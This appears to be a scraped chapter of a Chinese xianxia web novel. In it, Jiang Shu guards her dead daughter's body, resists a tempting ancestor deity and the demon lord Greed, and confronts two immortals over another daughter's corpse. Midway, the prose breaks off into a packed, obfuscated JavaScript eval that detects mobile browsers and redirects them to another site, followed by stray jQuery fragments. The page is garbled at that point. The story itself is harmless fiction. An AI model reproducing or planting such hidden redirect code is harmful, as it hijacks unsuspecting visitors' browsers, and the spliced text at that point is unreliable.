默认冷灰
24号文字
方正启体

95. 棺木

作者:太平通宝本书字数:K更新时间:
    昆仑?


    是了,女娲是她们的母亲,她们都来自昆仑。


    可女娲已经魂归大荒,元神散于宇宙。巫的时代已经一去不复返了。


    王母的桃花红了千遍、落了千遍,万年的时光也不过如白马一跃,倏忽而过。


    巫在漫长的消耗中失去了和昆仑的联系,她们被遗忘在人间,逃不走,也回不来。


    她们像客死异乡的游子,寻不到一处安身的坟茔。漂泊的孤魂无人引渡,在无边的黑夜中茫然无措。


    “我可以为你们点灯。”姜枢听见“祖神”这样说道,“归家吧,我为你们引渡。”


    “回昆仑吧,那是不死之国,让你的孩子回昆仑,她会重生。”


    “可是昆仑在哪儿?我们不认识回昆仑的路。”


    “龙知道。”


    “龙知道?”


    “对,那条龙知道。”


    “祖神”轻轻笑道:“巫是跨越生死的桥梁,天然可以模糊生死的界限。不生不死之间,既生既死之中,你只需用你的血促成一场盛大的仪式,一切皆可实现。”


    姜枢没有被诱惑冲昏头脑,她咽了口唾沫,望着“祖神”颤声道:“您真的是我们的先祖?”大概是“祖神”的可亲让她大了胆子,姜枢问道:“您……是神吗?我需要向您供奉什么?”


    “祖神”以静默幽深的目光望着她,良久,才道:“不。”


    “祖神”轻轻道:


    “只需要供奉一点你的欲.望,你的……”


    “——执念。”


    ……


    姜枢害怕了,那天她逃也似的离开了那间暗房,再也没有回去。


    姜衍健健康康地长大,还未现出一点衰亡的迹象。


    姜宅的银杏绿了又黄,落了十五回。


    头几年,宁水边的柳树还好好长着。后来,许多被砍去当了柴烧。


    坊墙塌了几处,河水浑过一阵,漂下些残破焦黑的木板。街上的人少了,车马声稀了,多了些兵士匆匆来去。


    兵士的衣裳颜色制式总不相同,常常一拨拨地走,一拨拨地来。再后来,兵士也少了。


    最静的是那年夏秋,连蝉鸣都未听得几声,满城多是低声的咳嗽、呻.吟,还有断断续续的哭声,隐在暮色里。


    姜枢的母亲死了,阿母们也死了。她只剩姥姥和孩子了。


    宅子里那几株银杏,死了一棵,光秃秃地立了两年。第三年春,竟从根边又钻出好几枝细弱的新条,颤巍巍地在风中招手。


    新的旗子插上宁城城头。市里当年那些空了的铺子又重新开张了,宁水边又种上了新柳,在晨风中轻轻摇摆着。新的商船慢慢又停满了埠头,街上重新响起货郎的吆喝声,巷陌里时常可以听见别处的口音。


    好似什么都变了,又好似什么都没变,远处的山依旧青着,在天光下晕出黛色。


    姜昭弥留之际,姜枢握着她的手泣不成声。


    “别伤心,枢娘。”姜昭缓缓道,“人终有一死,无甚可悲。只是苦了你日后要担起家主的重任,好好侍奉你姥姥,好好教育你的孩子们。”


    “女儿谨记。”


    “你……过来。”姜昭的唇开合着,示意姜枢将耳朵凑近。她的声音极低,说话开始含混不清了。


    “母亲?”


    姜昭极力撑开眼皮,叮嘱道:“祠堂西北角的暗房里,供奉着我们的祖神垒,她还有个名号,叫古莽娘娘——”


    姜枢嚇了一跳。


    她知道这个古莽娘娘。


    三千多年前,古莽与颛顼争帝位,失败后被杀。


    颛顼后来驱逐所有巫族,垄断了与神鬼交流的通道,从此巫在人间不得不隐姓埋名,凡人再也不能和神界、冥界自由沟通。


    古莽娘娘出身巫族姜氏,她身死后,姜氏不被允许祭祀她。姜枢没有想到,姜家祠堂里,竟世世代代在暗中供奉这位先祖!


    姜枢忽然就想起那时在暗房里,这位祖神的话。


    她那样神通广大,她会救阿衍,会救姜家吧?


    她是祖神,她不会害她们的吧?


    “枢娘。”榻上,姜昭唤她回神。


    “母亲。”姜枢连忙贴在她脸颊畔,“我在。”


    “别去求她,别……”姜昭的声音颤.抖,时断时续。


    “我们付不起代价。”


    一滴泪从姜昭眼角滑落,她合上了眼睛。


    “母亲!”


    姜枢失声痛哭。


    从那以后,她没有母亲了。


    ……


    姜枢谨记母亲的话,始终不敢再踏入那暗房一步。


    可如今,她唯一的女儿也离去了。


    姜枢隐瞒了姜衍的离世,带着她的尸体住进祠堂,用她毕生所学维持着姜衍的尸身不腐、灵魂不散。


    祠堂后早早地备下了棺木,她却不敢看、不敢想。


    直到某一日,她终于擎着烛,忍不住踏进了那间暗房。


    房内无风,姜枢的影子却几不可察地抖了抖,青雾浮动间,影子里走出个和姜枢一模一样的人来。


    她居高临下地瞧着姜枢,说道:“这样下去不是办法哦,枢娘。”


    姜枢抬头,眼皮一跳,声音有些虚浮,讶然道:“祖神垒……娘娘?”


    不对,不对。


    祖神垒不会用这样的语气和她说话。


    “嗯?”眼前的“姜枢”挑了挑眉毛,“你的祖宗,我倒也当得。”


    轻佻的,散漫的,强大的,邪气顿生的。“姜枢”道:“你若向我许愿,我能让你女儿复生。”


    她凑到姜枢耳畔,语调极尽引诱:“只需要一点点代价哦。”


    “只需要你的生魂——”


    “你是魔主。”姜枢冷冷地将她打断,“我听说伏魔阵最近逃出来了一个魔主。说吧,你是杀戮,还是贪欲?”


    “姜枢”微愣,然后笑起来:“姜家家主,很聪明嘛。”


    她托腮,凝视着姜枢,斜斜地倚在窗前,随着发丝中青色的雾气一点点逸散开来,她的脸皮开始剥落,身材也渐渐抽长。


    属于“姜枢”的面容被剥去,和姜衍一般无二的脸蛋如蜕皮新生般呈现在姜枢面前,眨着一双水灵灵的杏子眼,双颊红扑扑的。


    “杀戮只是个没有脑子的武器。”她笑眯眯冲姜枢道,“我比它更懂人心呢。”


    姜枢紧紧盯着她,手中捏着的传讯符几乎被冷汗浸湿。


    贪欲察觉了姜枢的意图,用这张姜衍的脸委屈地走来,衣袖下青雾飞腾,便劫走了姜枢的符纸。


    她一脸不赞同地摇头:“连仙徒对付我都不容易,你何必逞能?”


    姜枢咬牙切齿:“我不可能和你交易的。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410466|200664||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    贪欲撇了撇嘴,却眼含笑意:“那你等着吧,新的坏消息马上就来了。”


    她话音刚落,外间便响起姜惠的呼喊声。


    “母亲,母亲?”


    姜枢的脸色变得煞白。


    “四妹妹出事了!”在姜衍榻前,姜惠说道。


    ……


    北方鬼国罗酆山中,柳晋如役使度朔桃花吞光了李放尘留下的魔气,从结界中挣脱出来。


    眼看柳晋如掐着指诀,脚下轻轻一踏便出现一个阵法,宜光急忙从她袖中探出头,苦口婆心劝道:“晋如,你别去了,素阳子和介珣之定会设下埋伏。还有姜家……姜家问起罪来,你岂不两难?”


    柳晋如执意要去寻李放尘和李恪生,道:“终归是我用了仙芽的躯壳,总得亲自去给姜家一个交代。”


    阵法的光芒瞬间将柳晋如吞没。


    宁水静静地流着,水面起了薄雾,天色青灰,两条船几乎同时从雾里显现出来。


    姜家的船大,吃水深,船头船尾各放着一口棺材。两口都是楠木,上着漆,一口是早就给姜衍备下的,此刻姜衍的尸身正躺在里面;一口是姜太姥为自己预备的,不想老人家未走,后生却用上了。


    姜枢带着姜衍来接仙芽。


    碗口粗的铁链缠满了棺身,一圈又一圈。船上除了姜枢、姜惠,还站着几个侍女,都穿着麻衣,袖口束得紧紧的。


    船稳稳地逆着水流行着。


    李恪生和李放尘站在载仙芽的船上,远远便瞧见了立在对面船头上的姜枢。她脸上没什么血色,手里托着一只罗盘,盘针不指南北,只死死地定着一个方向。


    见了二李,姜枢双眼发红。


    “你们杀了我姜家女儿?”她声音嘶哑,“为什么?!她和你们无冤无仇,还那么小。”


    李恪生刚想说什么,姜枢跳上他们的船,一把将他拂开,开了那具棺,仙芽的面庞映入眼帘。


    她却愣了。


    尸身僵硬如石,肌肤黄白如蜡,紧紧地贴着骨骼。


    完全不像是几日前身亡的状态。


    李恪生叹了口气。柳晋如离魂后不到半个时辰,仙芽的躯体便开始飞速地腐烂,李恪生让尸体保持现在的样子,已经用尽了办法。


    李放尘上前解释道:“姜家主见谅,其实七月十五辰时,姜四娘子她便去世了。”


    姜枢身子猛地一震:“怎么可能?信上不是这么说的!阿慈还说他见过——”


    “抱歉,姜家主。”


    白光一闪,柳晋如从传送阵法中走出,拂过一脸惊讶、欲拦住她的李放尘,她在姜枢面前下拜:


    “四娘子于七月十五辰时因修无情道破境失败,亡于腾州赊山。我柳晋如,一缕孤魂,借姜四娘子尸身返阳,得此身躯庇佑,不敢忘恩,亦不敢久窃。姜二郎君先前见到的不是四娘子,是……我。”


    雾气中,姜枢的面容逐渐因愤怒而显得扭曲:“好啊,你们两个仙徒,竟然包庇一介鬼魂,来侮辱我姜家!如此欺我姜家无人,难道神仙不管?!”


    随着她话音落下,青灰色的云层之上,紫电照亮了天壁。隆隆声响起,云中推起了雷车,一把洪钟般威严响亮的声音响起:


    “李放尘!你犯下大错毫不悔改,竟恬不知耻对你师父动手。如此行径,蓬莱已不能容你。今日,我必将你就地正法!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)